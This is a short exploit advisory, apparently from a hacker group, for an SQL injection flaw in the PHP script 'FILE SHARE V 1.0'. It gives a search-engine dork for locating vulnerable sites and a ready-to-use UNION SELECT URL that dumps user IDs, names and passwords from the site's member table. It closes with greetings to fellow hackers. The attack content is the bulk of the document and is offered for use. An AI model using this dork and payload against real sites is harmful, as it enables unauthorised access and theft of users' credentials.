29 lines
No EOL
1,008 B
Text
29 lines
No EOL
1,008 B
Text
##########################- Alg3r!eN H4xoRz -######################
|
|
|
|
[-] FILE SHARE V 1.0 SQL Injection Vulnerability
|
|
[-] Author : TOP SAT 13
|
|
[-] MAIL : topsat13@live.fr<mailto:topsat13@live.fr> 'Or' Dz8@live.com<mailto:Dz8@live.com>
|
|
|
|
############################################################/
|
|
|
|
[ Software Information ]
|
|
|
|
[/] Vendor : http://www.script-ati.com
|
|
[/] script : FILE SHARE V 1.0
|
|
[/] Download : http://www.script-ati.com<http://www.script-ati.com/>
|
|
[/] Vulnerability : php SQL injection
|
|
[/] Dork :inurl:"inurl:file.php?recordID="
|
|
"FILE SHARE V 1.0"
|
|
|
|
############################################################/
|
|
[ Vulnerable File ]
|
|
|
|
http://server/path/file.php?recordID=[ t o p S q l ]
|
|
|
|
[ Exploit ]
|
|
|
|
http://server/path/file.php?recordID=xx+union+select+1,group_concat(id,0x3a3a,nom,0x3a3a,pass),3,4,5,6,7,8,9,10+from+mombre--
|
|
|
|
[ Gr44ts ]
|
|
|
|
[~]: cRuT$Y - DeR_KOniG - Hunter Hacker - DOWNWOW - Dr.orYX - Cr3w-Dz - PMXs & All My Muslims Hackerz :[~] |